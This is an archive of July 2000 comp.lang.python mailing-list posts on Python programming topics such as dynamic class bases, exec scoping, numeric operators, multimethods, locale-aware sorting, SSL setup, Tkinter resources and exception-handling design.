> 
[snip]
>     *mutters something about lawyers, marketing people and a tank full of
> sharks.*
[snip]

What good would that do?  Sharks, snakes, etc. won't bite lawyers out of
professional courtesy, and since marketers are really of no substance
anyway, it would be like feeding the sharks tofu.


From bill at dehora.fsnet.co.uk  Fri Jul 28 17:50:02 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Fri, 28 Jul 2000 22:50:02 +0100
Subject: Python in game development [fwd: best prog lang for games]
References: <8lkrna$5as$1@nnrp1.deja.com> <uoenl8.nip.ln@206.180.155.28> <u66pq2yl8.fsf@yod.cs.uni-magdeburg.de> <8lsmnc$6be$1@murdoch.acc.Virginia.EDU>
Message-ID: <8lt0ao$69q$1@newsg4.svr.pol.co.uk>

Python is a no brainer for embedded AI scripting.

-Bill de h?ra




From bazsi at balabit.hu  Fri Jul 21 11:16:35 2000
From: bazsi at balabit.hu (Balazs Scheidler)
Date: Fri, 21 Jul 2000 17:16:35 +0200
Subject: dynamic bases
Message-ID: <20000721171635.B1431@balabit.hu>

Hi,

I'm new to this group, and new to Python itself. I'm using Python as a
configuration language in one of my homebrewn project. And until now Python
served me perfectly. I'm confident that my current problem is 100% solvable,
but I don't want ugly solutions, so I decided to turn to more experienced
people.

So what I basically want is to add a set of methods/attributes to an
instance dynamically, so that the methods added can access the attributes of
the original instance. My original idea was the following:

class A:
        def F(self):
                print self.a

class B:
        a=5
        def __init__(self, klass):
                self.__class__.__bases__ = self.__class__.__bases__ + (klass,)

b = B(A)
b.F()

The problem with this approach is that it modifies the class-object of B, so
that every other instance of B gets klass as its base object. I'd like to
do this on a per instance basis.

My other attempt was to use __getattr__ hooks to return attributes in a way
that attributes of A are returned in case __dict__ of B doesn't contain a
given name. Functions were bound to the instance of B, then the Python
interpreter complained that self is not a subclass of B.

I was reading about meta-classes, and even Python Extension Classes used by
Zope, maybe these could offer a clean solution?

-- 
Bazsi
PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1
     url: http://www.balabit.hu/pgpkey.txt



From cjensen at bioeng.ucsd.edu  Wed Jul 26 12:05:32 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Wed, 26 Jul 2000 09:05:32 -0700
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu>
Message-ID: <397F0C4C.862CA238@bioeng.ucsd.edu>

Also, anyone know how to print formatted text with a list and not a
tuple?

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From hzhu at localhost.localdomain  Fri Jul 21 15:05:08 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 19:05:08 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu> <slrn8nf2it.rb.hzhu@localhost.localdomain> <m3u2dj7q3s.fsf@chinon.cnrs-orleans.fr>
Message-ID: <slrn8nh7tu.ql.hzhu@rocket.knowledgetrack.com>

On 21 Jul 2000 12:08:23 +0200, Konrad Hinsen <hinsen at cnrs-orleans.fr> wrote:
>
>The cleanest concept (in my opinion) is the one implemented in J,
>where an array has (conceptually) a "data rank" and a "value rank",
>the sum of the two being the rank, i.e. the number of indices. For
>example, an array of rank 3 could be interpreted as a list of matrices
>(data rank 1, value rank 2), as a matrix of vectors (data rank 2,
>value rank 1), or as a 3-d array of scalars (data rank 3, value rank
>0). In J the data and value ranks are not properties of the arrays,
>but of the operators, whose value rank can be modified. In the early
>days of NumPy development, I proposed this model for NumPy as well,
>but there was no majority for it. And I agree that there are not so
>many practical cases where this mechanism is necessary. However,
>it nicely illustrates how one would extend vector and matrix operations
>to higher-dimensional data.

This looks like a good idea.  The question is whether we need to put this
into the infix operators or as class methods.

For example.  I have a current piece of code like this (which animates the
performance of a learning algorithm against two parameters)

for i: for j: A[i,j,:] = vector
for k: matrix = A[:,:,k]; gplot.mesh(matrix); sleep(0.1)

Now this does not contain infix operators, but even if it did, the operators
don't need to know they are operating on part of a larger piece of data.

Another example concerns the inner and outer products.  Suppose we define a
class of tensor-with-indices, we could do innerproduct like

a = b.index((2,3)) * c.index((2,4))     # a_ilmnp = b_ijkl c_mjnkp

and outerproduct like

a = b.index(()) * c.index(())           # a_ijklmnpqr = b_ijkl c_mnpqr

Is this similar to what you proposed? It looks to me this is can be handled
by the existing Python mechanism of method overloading.

Huaiyu


From n at n.com  Fri Jul 28 12:10:15 2000
From: n at n.com (Arinté)
Date: Fri, 28 Jul 2000 11:10:15 -0500
Subject: Is this the efficent way?
References: <EDgg5.19705$ga2.540769@newsread2.prod.itd.earthlink.net> <39819A3C.3634867B@schlund.de>
Message-ID: <8ls7h5$1d6m$1@news2atm.raleigh.ibm.com>

> I think this is better:
>
> def hexsplit(arg):
>         lobyte =  arg & 0x00FF
>         hibyte = (arg & 0xFF00) >> 8
>         return chr(hibyte) + chr(lobyte)
>
>
> Carsten.

Sure is, didn't know python had shift operators.




From mwh21 at cam.ac.uk  Sat Jul 22 06:42:06 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 22 Jul 2000 11:42:06 +0100
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116>
Message-ID: <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk>

milenko at moonshine.co.uk (Jack) writes:

> Hey there, 
> 
> im pretty new to using python, and im just experimenting with file access, 
> a wrote a script that works fine, and then all of a sudden it started 
> throwing up this error:
> 
> inp = open("c:/autoexec.bat",'r')
> TypeError: illegal argument type for built-in operation
> 
> it was working fine before, and i dont see anything unusual in the syntax.
> 
> Any help would be appreciated,

5 gets you 7 that you have added a 

from os import *

to your script.

Don't do that.

Cheers,
M.

-- 
  There are two kinds of large software systems: those that evolved
  from small systems and those that don't work.
                           -- Seen on slashdot.org, then quoted by amk


From alex at magenta.com  Fri Jul  7 05:18:54 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 7 Jul 2000 11:18:54 +0200
Subject: eval
References: <Pine.LNX.4.21.0007070112170.6842-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <8k47gh01b99@news2.newsguy.com>

Johannes Zellner <johannes at zellner.org> wrote in message
news:Pine.LNX.4.21.0007070112170.6842-100000 at krispc6.physik.uni-karlsruhe.de
...
    [snip]
> And how do I define the scope where exec evaluates ?

    exec "whateveryouwant" in whateverdictionaryyouwanttouse

or if you want to use different dictionaries for globals and locals,

    exec "whateveryouwant" in aglobaldict,alocaldict

> E.g.
>
> def generator(x):
>   eval 'def '+x+'(y): print "fred"'

I'm confused.  eval is a function (which also takes dictionaries
for globals and locals as 2nd and 3rd args, as well as the
expression as the 1st arg) and does not support this syntax.
Why would you want to use eval rather than exec here, anyway?


> and after calling
> >>> generator('lola')
> I want to be able to use
> >>> lola('lolita')

Decide which module you want to affect and use its __dict__.

For example, if your generator must inject names as pseudo-builtins,
you might make it work with something like:

def generator(x):
    import __builtin__
    exec 'def '+x+'(y): print "fred"' in __builtin__.__dict__


Alex





From ngps at madcap.dyndns.org  Tue Jul 25 11:09:02 2000
From: ngps at madcap.dyndns.org (Ng Pheng Siong)
Date: 25 Jul 2000 15:09:02 GMT
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com> <8lh9og$fi5$1@nnrp1.deja.com> <8lhkl1$oou$1@clematis.singnet.com.sg> <8livj9$ogn$1@nnrp1.deja.com>
Message-ID: <8lkaie$ti3$1@dahlia.singnet.com.sg>

According to  <ryzam at my-deja.com>:
> Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
> Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
> >>> import sys
> >>> sys.path
> ['C:\\PROGRA~1\\PYTHON\\TOOLS\\IDLE', 'C:\\Program
> Files\\Python\\win32', 'C:\\Program Files\\Python\\win32
> \\lib', 'C:\\Program Files\\Python', 'C:\\Program
> Files\\Python\\Pythonwin', 'C:\\PROGRA~1\\PYTHON\\BATCHG~1
> \\PYTHON', 'C:\\Program Files\\Python\\Lib\\plat-win', 'C:\\Program
> Files\\Python\\Lib', 'C:\\Program Files\\Python\\DLLs', 'C:\\Program
> Files\\Python\\Lib\\lib-tk', 'C:\\PROGRAM
> FILES\\PYTHON\\DLLs', 'C:\\PROGRAM FILES\\PYTHON\\lib', 'C:\\PROGRAM
> FILES\\PYTHON\\lib\\plat-win', 'C:\\PROGRAM FILES\\PYTHON\\lib\\lib-
> tk', 'C:\\PROGRAM FILES\\PYTHON']'

Ok, if you've unzip'ed m2crypto-0.05-snap3-win32.zip into 
c:\program files\python, you should get 
c:\program files\python\m2crypto-0.05-snap3\...

Move the directory
c:\program files\python\m2crypto-0.05-snap3\M2Crypto
one level up, into
c:\program files\python
meaning you now have
c:\program files\python\M2Crypto

Now look at 
c:\program files\python\m2crypto-0.05-snap3\demo\ssl\https_cli.py

Change the host and port to point to a https server somewhere,
then execute it: python https_cli.py.

If you don't have a https server handy, then look at
c:\program files\python\m2crypto-0.05-snap3\demo\https\START.py


Hope this helps.

-- 
Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps



From alan.gauld at gssec.bt.co.uk  Mon Jul  3 09:56:47 2000
From: alan.gauld at gssec.bt.co.uk (Alan Gauld)
Date: Mon, 03 Jul 2000 14:56:47 +0100
Subject: [Tkinter]: Where is a good place to learn how to use this...?
References: <20000630211051.11572.qmail@web5301.mail.yahoo.com>
Message-ID: <39609B9F.ADFF5512@gssec.bt.co.uk>

Dave Williams wrote:
> I am fairly new to Python, and I have been reading a
> book, and I have checked online for resources.  There
> is a general "intro to" type off of the python.org

There should be two online sources from python.org.

One is F/'s reference site which while not complete 
is very good - due out as a book from O'Reilly sometime...

http://www.pythonware.com/library/tkinter/introduction/index.htm

The other is the original(and slightly outdated) crash 
course on Tkinter called the 'Life Preserver' by Matt Conway

http://www.python.org/doc/life-preserver/index.html

The Mark Lutz book, Programming Python, has a good 
intro to Tkinter if you have no previous Tcl/Tk experience.

John Grayson's book is fairly complete but does rather 
jump in the deep end. Its fine if you know the basics 
or if you've already used Tcl/Tk (or perl/Tk I guess)

My Python tutor gives a couple of Tkinter examples but 
they are very basic and only cover enough for the 
specific programs. They aren't really intended to 
teach Tkinter.

http://www.crosswinds.net/~agauld
Look at Event Driven Progranmming and the Case Study

Alan G.

-- 
=================================================
This post represents the views of the author 
and does not necessarily accurately represent 
the views of BT.


From samschul at pacbell.net  Wed Jul  5 10:24:06 2000
From: samschul at pacbell.net (Sam Schulenburg)
Date: Wed, 05 Jul 2000 14:24:06 GMT
Subject: Corrected URL http://starship.python/crew/samschul
References: <8jvg2d$8q5$1@nnrp1.deja.com>
Message-ID: <8jvgdi$95f$1@nnrp1.deja.com>

The corrected URL is:

http://starship.python/crew/samschul

In article <8jvg2d$8q5$1 at nnrp1.deja.com>,
  Sam Schulenburg <samschul at pacbell.net> wrote:
> I have made some corrections to ASPIPython, that correct memory leaks
> found in aspi.dll.
>
> ASPIPython is a open source python interface to the (A)dvanced (S)
> system (P)programming (I)nterface for SCSI devices developed by
Adaptec
> Corp. This interface allows for the development of tests under Python
> for SCSI disk drives. These routines can be found at
> http://starship.python/crew/schulen
>
> Sam Schulenburg
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From mjm at boora.com  Wed Jul  5 09:32:09 2000
From: mjm at boora.com (mjm)
Date: Wed, 5 Jul 2000 06:32:09 -0700
Subject: Python Object Browser
References: <dU785.94271$5k2.195629@dfw-read.news.verio.net>
Message-ID: <sm6ev4iegas91@corp.supernews.com>

Another clue... I don't have the same problem on my win98 box at home.  At
work, on WinNT, I have a problem.

-mjm

michael montagne <montagne at boora.com> wrote in message
news:dU785.94271$5k2.195629 at dfw-read.news.verio.net...
> I'm trying to use makepy on some common objects on my system.  Word2000,
> Excel2000, etc.
> It doesn't seem to want ot work.  When I go to the objects that are having
> trouble using the Python Object Browser, under the Type Library heading it
> says
> "The type info can n..="The type info can not be loaded".  Does this mean
it
> is unavailable?  How do i fix this?
>
> -mjm
>
>




From denalione at my-deja.com.bbs  Mon Jul 17 09:20:02 2000
From: denalione at my-deja.com.bbs (denalione at my-deja.com.bbs)
Date: 17 Jul 2000 13:20:02 GMT
Subject: built in sources
Message-ID: <3bRDG2$gqB@openbazaar.net>

where can I get the source for all of the built-in methods, types,
etc...

Thanks


Sent via Deja.com http://www.deja.com/
Before you buy.


From vtbl.moorepe at memo.volvo.se  Fri Jul 14 11:46:21 2000
From: vtbl.moorepe at memo.volvo.se (PM)
Date: Fri, 14 Jul 2000 15:46:21 +0000
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz>
Message-ID: <396F3593.3A379AB6@memo.volvo.se>

I agree, I would PREFER to allow any case in a language.

Peter Timaratz wrote:
> 
> I can't think of any advantages to a case sensitive language. Python is a
> very well-designed language though, so I imagine there is a good reason that
> it is case sensitive. So what are the advantages of a case sensitive
> language?


From hgolden at my-deja.com  Thu Jul 20 12:35:44 2000
From: hgolden at my-deja.com (Howard B. Golden)
Date: Thu, 20 Jul 2000 16:35:44 GMT
Subject: Pythonwin attribute expansion
References: <326536345498D311B3BC00105A39802A0747A7@newsintern.dspace.de>
Message-ID: <8l79ou$shk$1@nnrp1.deja.com>

Stefan, your code works great!  Thanks!

(Mark, thank you, too!  I will e-mail the modified module to you.)

<open-source-advocacy>

Note this timeline for problem resolution:

- Problem found/message on c.l.p: 2000 July 20 0000 GMT (California)
- Solution suggested:             2000 July 20 0215 GMT (Australia)
- Solution coded:                 2000 July 20 ???? GMT (Germany)
- Solution accepted:              2000 July 20 1600 GMT (California)

(Stefan, I didn't have a message time for your reply.  Could you supply
it?)

</open-source-advocacy>

Stefan Migowsky <smigowsky at dspace.de> wrote:

> try:
>     items = items + dir(ob.__class__)
>     for i in ob.__class__.__bases__:
>         items = items + dir(i)
> except AttributeError:
>     pass

> >-----Original Message-----
> >From: Mark Hammond [mailto:MarkH at ActiveState.com]

> >Let me try this again...

> >If you would like to fix it, look in pywin\scintilla\view.py,
> >and locate
> >the _AutoComplete() method.  The line:
> >
> >     items = items + dir(ob.__class__)
> >
> >Is at fault - dir() doesnt search sub-classes.  Simply make this line
> >smarter, by iterating over ob.__bases__

--
Howard B. Golden


Sent via Deja.com http://www.deja.com/
Before you buy.


From zo at angband.org  Mon Jul 24 21:48:19 2000
From: zo at angband.org (Eric Lorenzo)
Date: 24 Jul 2000 21:48:19 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
	<slrn8nevfr.d8.bmcd@ripley.sulaco.net>
	<8lb6jb$vj9$1@slb6.atl.mindspring.net>
	<slrn8nj9ul.6bu.neelk@brick.cswv.com>
	<8lcnf4$vmr$1@slb0.atl.mindspring.net>
	<slrn8nki9i.7ga.neelk@brick.cswv.com>
	<8ite5.9395$4p3.69392@news-server.bigpond.net.au>
Message-ID: <3hu2dfrndo.fsf@angband.org>

"Neil Hodgson" <neilh at scintilla.org> writes:
>    I had a look at Dylan a few years ago and multimethods look good for some
> areas but you also lose the encapsulating aspect of normal OO. The
> functionality for a class isn't nicely tied up in one bundle but is
> federated over a wide and extensible area.

I'd say that with binary operators like those we're discussing here,
the operation isn't necessarily more closely tied to one of the input
types than the other, so it doesn't really make sense to make the
operation a method on only one of those types.  So yeah, you're
reducing encapsulation a bit with multi-methods, but in my view,
that's okay, because arbitrarily encapsulating the addition of two
objects into the class of whichever happens to be on the left isn't
really appropriate, anyways.

And the lack of multimethods leads to some ugliness, as well.  Here's
an example: I've got two classes, point and vector.  point+vector,
vector+point, and vector+vector are all legal, but point+point isn't.

Without multimethods, I do:

    class point:
        ...
        def __add__(x):
            if type(x) == InstanceType and isinstance(x, vector):
                # do point+vector here
            else:
                # throw a TypeError

    class vector:
        ...
        def __add__(x):
            if type(x) == InstanceType:
                if isinstance(x, point):
                    # do vector+point here
                elif isinstance(x, vector):
                    # do vector+vector here
                else:
                    # throw a TypeError
            else:
                # throw a TypeError



With them, I do:

    class point:
        ...

    class vector:
        ...


    multimethod __add__(p:point, v:vector):
        # do point+vector here

    multimethod __add__(v1:vector, v2:vector):
        # do vector+vector here

    multimethod __add__(v:vector, p:point):
        # do vector+point here.


Now, to my eye, the latter is far more elegant and matches what's
happening conceptually much more closely, since it treats the type of
each of the two arguments as if they are of equal importance and uses
the same mechanism to deal with both.  In contrast, in the first
approach, we use implicit type checking to deal with the type of the
lefthand argument, and explicit type checking (and some attendant
error handling) to deal with that of the right.  The resulting code is
considerably less legible, to my eye.

Because C++ takes into account the type of all parameters (and not
just that of the implicit first parameter of method calls (i.e. self),
as Python does) when choosing what function body to dispatch, I was
able to do something very similar to the latter when implementing a
ray tracer in that language.  I'm doing work in a related problem
domain in Python now, and am having to resort to (IMO) rather ugly
code like the first block.  This is the one case in which I find C++
to be cleaner and more elegant than Python.

Eric


From btang at pacific.jpl.nasa.gov  Wed Jul 19 12:14:32 2000
From: btang at pacific.jpl.nasa.gov (Benyang Tang)
Date: Wed, 19 Jul 2000 09:14:32 -0700
Subject: treeftp -- a smart ftp client
References: <3974D7F0.89207A68@pacific.jpl.nasa.gov> <3975C672.BFE14AC2@schlund.de>
Message-ID: <3975D3E8.52905658@pacific.jpl.nasa.gov>

I have fixed it. Thank you for pointing it out.


Carsten Gaebler wrote:
> 
> Benyang Tang wrote:
> >
> > treeftp -- a smart ftp client for Unix.
> 
> You forgot a comma between 'a' and 'b' in the source of treeftp:
> 
> hostList = {
> 'a': ('host_a.edu', 'myUserID_a', 'cat passFile_a', '')
> 'b': ('host_b.edu', 'myUserID_b', 'echo', '-a -t')
> }
> 
> Carsten.


From guido at beopen.com  Sat Jul 29 11:26:55 2000
From: guido at beopen.com (Guido van Rossum)
Date: Sat, 29 Jul 2000 15:26:55 GMT
Subject: to better observe locales
References: <3981D6E6.CE74151D@quasar.ipa.nw.ru>
Message-ID: <cpittoewar.fsf@cj20424-a.reston1.va.home.com>

"Alexander V. Voinov" <avv at quasar.ipa.nw.ru> writes:

> It seems that Python would better observe locales at almost no cost.
> 
> 1. list.sort(). If the sorted list is just a list of strings, it's
> trivial to pass 'strcoll' as an argument. But if the list element is a
> tuple, I have to write my own comparison function which would use
> locale.

There are lots of good reasons why observing locales on string
comparisons with the < operator are a bad idea.  (The same reasons
that require you to use strcoll or equivalent in C, C++ or Java.)

But I'll give you a suggestion for how to compare tuples of strings
efficiently.

Say you have a list L of tuples containing (lastname, firstname,
address) records.  To sort L, you write:

  from locale import strxfrm
  L1 = []
  for t in L:
    L1.append((strxfrm(t[0]), strxfrm(t[1]), t))
  L1.sort()
  L2 = []
  for (dum, dum, t) in L1: L2.append(t)

Now the sorted version of L is in L2.

Believe me, for large lists this is much faster than writing a
comparison function and passing it to string.sort().

> 2. Those '\xxx\yyy\zzz' in the string literals, emitted by 'repr'. It
> would be a good idea not to encode that way those letters, which are
> claimed as letters by the locale.

Good idea.  I've proposed this myself a few times.

> The default locale is easily read from the environment both on Unices
> and on win32. No idea about the rest of the world. Therefore, if the
> locale, read from the environment, is not 'en', one may just apply its
> rules immediately upon interpreter startup (for the two mentioned
> issues, and maybe some others: use strcoll instead of strcmp _everywhere
> internally_, use letter ranges, defined by the locale, etc). Otherwise
> the current Python supprt of locales would really have no practical use,
> even mislead those who believe that support to exist.

I'm not sure why you say this is misleading.

There's a good reason for *not* setting the locale from the
environment by default -- it would screw up programs that aren't
locale-aware.  The program must make the call to locale.setlocale() to
indicate that it is aware of the locale.

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From alex at magenta.com  Mon Jul 31 06:25:55 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 31 Jul 2000 12:25:55 +0200
Subject: exceptions (was Re: Perl is worse!)
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com> <8m26fm$ila$4@newshost.accu.uu.nl> <slrn8o9j3t.i9b.grey@teleute.rpglink.com> <8m3f0o$hn6$1@newshost.accu.uu.nl>
Message-ID: <8m3kek027f0@news1.newsguy.com>

"Martijn Faassen" <m.faassen at vet.uu.nl> wrote in message
news:8m3f0o$hn6$1 at newshost.accu.uu.nl...
> Steve Lamb <grey at despair.rpglink.com> wrote:
> > On 30 Jul 2000 21:25:10 GMT, Martijn Faassen <m.faassen at vet.uu.nl>
wrote:
> >>Then have your program catch your exceptions! That's one of the main
> >>reasons for the existence of the exception handling mechanism; to
recover
> >>gracefully from the unexpected.
>
> >>It is possible to catch *all* exceptions, if you're worried about that.
> >>Or whole groups of exceptions, if you like. They're in a hierarchy.
>
> >     However I find that exceptions come up on the damnedest things,
break you
> > out of loops, cause problems all around and don't let you return to
where you
> > were, esp. when you use general catch all exceptions.  As Alex(?) said,
you
> > don't return to where you were so, to me, it seems quite impossible to
be able
> > to catch /all/ exceptions gracefully, ever.

A matter of know-how, both individual (subjective) and collective.  Writing
_really_ good code to deal with totally arbitrary exceptions is quite
possible,
but it's anything but trivial.  And I'm not claiming to have reached such
skill
personally, YET -- I *have* seen it done, and all the pieces make sense, but
learning how to put them all together to perfection is a slower 'maturation'
process.  I suspect the speed of that process is partly determined by the
kind of software you write -- specifically, its quality requirements and the
incentive-structure focusing on them (i.e., are you going to serve time if
you
let a hardware error kill a patient when you could/should have prevented it
with better exception-handling?-).  Purveyors of commercial off-the-shelf
software for professional-quality applications, whose bugs, however, don't
directly lead to the loss of human life are, I surmise, somewhere "in the
middle"
along this scale.

I haven't seen much literature on the subject, except that based on C++,
which may not be ideal reading for programmers using Java, Python, or
whatever else.  Herb Sutter's "Exceptional C++" is a great book for those
who practice C++ in depth, though (it's not ONLY about exceptions, don't
let the title fool you:-); Bobby Schmidt's series of (I've lost count how
many)
articles on the net, starting at
http://msdn.microsoft.com/library/welcome/dsmsdn/deep051099.htm
(use 'show toc' to get the table-of-contents and proceed to further
articles in the series -- I just did and it turns out there's just 17
articles
in the series, it looked like more!) can also be a useful resource.

I would, by the way, really appreciate other bibliography on the subject,
and particularly URLs; surely there must be something out on proper
design for exception-handling in Java, for example, given that language's
popularity and exception-system -- or Eiffel, Oberon, Haskell, whatever.
Not so much about what each language does to support exception
handling, that's only of middling interest, but rather what the designer/
programmer does to USE that support for all it's worth...


> Well, I have lots of working Python software still. :)
>
> In the presence of bugs in your code, you cannot catch all exceptions
> *gracefully*. This is because you do not know where all your bugs are.
> Bugs are not graceful, period.

I don't think exceptions coming from software bugs are as hard to
handle gracefully compared to those coming from _hardware_
malfunction.  If your project is organized to avoid major disasters
if and when the hardware breaks down in various possible ways,
I think you'll get recovery from bugs in certain modules 'just about
for free'.

Basically, I believe, an approach which very often helps is to
structure your work as a series of (possibly-nested, possibly-linked)
_transactions_ at some "appropriate" level of granularity.  Of
course it helps if you can do _real_ transactions, but when you
can't you can often fake it well enough to still help.

And you don't throw away any information that could help debug.
Never.  "Well... hardly ever" -- logging copious state info when the
key problem is that every disk is full to the bursting point (a frequent
underlying cause of exceptions!) is NOT wise:-).


> As pointed out to you before, you seem to overestimate the amount of
> exceptions you need to catch, to handle gracefully or not.
>
> Let's try to classify exceptions:
>
>   1. A test. You expected this exception and check for it, such as in
>
>     try:
>         b = int(b)
>     except ValueError:
>         b = 0

Yep -- something that often stylistically rankles to people with a C++ or
Java background, where exceptions are (supposed to be) meant for
_exceptional_ cases; but quite OK in Python, it seems to me ("it better
to ask forgiveness than permission" may apply: a preliminary attempt
to find out if a certain operation will succeed may well not be as fruitful
and simple as just attempting that operation, and 'ask forgiveness' by
exception-catching if the 'oops, it WASN'T possible' obtains:-).


>   2. Unexpected external conditions you didn't think of (file turned out
to be
>     locked, etc).

No more memory, no more disk, no more <indispensable resource X,
for any X>, server-timeout, network on the brink, floating-point unit has
just turned into a pumpkin, etc, etc.  The meat-and-potatoes of the
exceptions world.  It's not necessarily an issue of not thinking about it,
but of what one can DO about it...


>   3. an assumption about the structure of input that turns out to be
wrong.
>     i.e., a bug.
>
>   4. a mistake in your code. You call a nonexistent function, refer to
>     nonexistent variables, your algorithm is just wrong, etc. i.e., a bug.
>
> Category 1 exceptions are no problem; you handle them. Category 2
exceptions
> are the most tricky. They may hint at a bug (you should have checked
whether
> the file was locked). What *is* sure is that you usually cannot continue
> gracefully; you can't write to the locked file and you need to, or
whatever.
> Ungraceful handling can be implemented with some outer exception handler,
> or it can be accepted that the program can fail under these circumstances.

As long as enough info gets logged to let later analysis determine the root
cause of the anomaly... diagnosing it more immediately (*AND* logging it;
NEVER [well,. hardly ever:-)] let error/anomaly info show up only in some
message to the user, or you'll eventually pay the price when the error gets
incorrectly reported to you and you'll waste time trying to fix was is not
the
broken part...).  I claim that these cases can generally be made graceful
enough, if the quality-requirements demand it.  For example, you cannot
update the locked-file, but you CAN often (and should, when you can) save
elsewhere enough state that whatever mods the user has worked hard to
implement, can later be resurrected and re-applied.  Actually, a log of what
the user has done so far, that's still not applied to the persistent store
(file,
database, whatever) SHOULD be on disk anyway, safely tucked away in
some reasonably safe place, so that if, e.g., electricity suddenly goes
away,
that doesn't mean hours' worth of work are wasted.  So 'graceful recovery'
just means making as sure as feasible that these temporary logs do NOT
get *corrupted*.  ("Snapshot" info about your own computations can also be
saved, if those computations are so expensive that redoing them would be
more hassle than regularly saving them, but that's unusual unless you do
truly heavy processing.)


> If it *does* turn out you can continue gracefully, you can only continue
> gracefully if you catch the exception and handle it, in which case it
> turns into a variety of category 1. You really fixed a bug in that case.
>
> Note that category 1 and category 2 exceptions generally do not happen
> all over your code. You factored out your code well and these things only
> happen in specific places. You don't have to place handlers all over
> the place.

Not if you design properly in terms of transactions...:-).


> Category 3 and 4 are bugs. Bugs cannot be handled gracefully. Again you
> have two options; have the program stop in the face of a bug, or do a
> catch-all and try to continue anyway.

I think that if 2 is truly well-handled, most of 3 and 4 will come "for
free",
or almost so.


> In the light of that, let's translate what seem to be saying:
>
> """
>      However I find that bugs come up on the damnedest things, break you
> out of loops, cause problems all around and don't let you return to where
you
> were [in the algorithm], esp. when you use general catch all exceptions.
> As Alex(?) said, you don't return to where you were so, to me, it seems
quite
> impossible to be able to catch /all/ bugs gracefully, ever.
> """
>
> The answer to that is easy: No, of course not.

Well, ok, not *ALL*.  But you can _design_ for that, to avoid corrupting the
precious persistent data, and avoid wasting a lot of worktime by the user,
under presence of MOST kinds of bugs...


Alex





From ge at nowhere.none  Thu Jul  6 10:31:36 2000
From: ge at nowhere.none (Grant Edwards)
Date: Thu, 06 Jul 2000 14:31:36 GMT
Subject: MAPI/COM: where is the server?
References: <diO85.3111$iN5.764889@ptah.visi.com> <8k21em$42j$1@supernews.com>
Message-ID: <cL095.3223$iN5.797271@ptah.visi.com>

In article <8k21em$42j$1 at supernews.com>, Dale Strickland-Clark wrote:

>You are talking Exchange, if it's available, or to a local copy
>of your data if it's not and if you have offline mode enabled.
>
>Either way, you are using CDO.DLL and probably talking to a
>service called MAPISP32 - although you are stretching my
>knowledge at this point. As I understand it, MAPISP32 decides
>where the request ultimately ends up.

Ah. The "server" I'm talking to is actually the DLL on the
local machine.  So even if I had COM for Linux (and it worked),
I'd still have to talk to the DLL on the Win95 machine which
would then get my e-mail from Exchange Server.  If I still have
to have that Win95 machine running, I might as well just leave
the Python program on it.

>I'd be very surprised if you could get this to work on anything
>other than Win32.

That's what I was afraid of.

-- 
Grant Edwards                   grante             Yow!  Is a tattoo
                                  at               real, like a curb or a
                               visi.com            battleship? Or are we
                                                   suffering in Safeway?


From adams_s at lab.eng.usyd.edu.au  Thu Jul  6 09:53:54 2000
From: adams_s at lab.eng.usyd.edu.au (Steven Adams)
Date: Thu, 6 Jul 2000 23:53:54 +1000
Subject: Serial I/O on Python for winCE
Message-ID: <8k22pl$16na$1@news1.wire.net.au>

Hi, has anyone been able to recompile and get the Serial IO modules working
on Python for WindowsCE yet?
If so could you post me a link to somehwre I could get the recompiled, or
even changed source code from,

many thanks,

Steven




From fplancke at my-deja.com  Mon Jul  3 15:59:45 2000
From: fplancke at my-deja.com (Frédéric van der Plancke)
Date: Mon, 03 Jul 2000 19:59:45 GMT
Subject: compilation
References: <Pine.LNX.4.21.0006270751280.2223-100000@fep132.fep.ru> <8jaht1$rui$5@bmerhc5e.ca.nortel.com> <8jdi5s$om4$1@nnrp1.deja.com> <8jfc7h$so4$1@bmerhc5e.ca.nortel.com>
Message-ID: <8jqrb7$216$1@nnrp1.deja.com>

In article <8jfc7h$so4$1 at bmerhc5e.ca.nortel.com>,
  msoulier at nortelnetworks.com wrote:
> In article <8jdi5s$om4$1 at nnrp1.deja.com>, Fr?d?ric van der Plancke
wrote:
> >
> >When the interpreter finds a xxx.pyc file on your Python path when
> >you type 'import xxx', it loads that directly instead of recompiling
> >xxx.py  (provided xxx.py is older, and other soundness conditions)
> >
> >Is that what you want ?
>
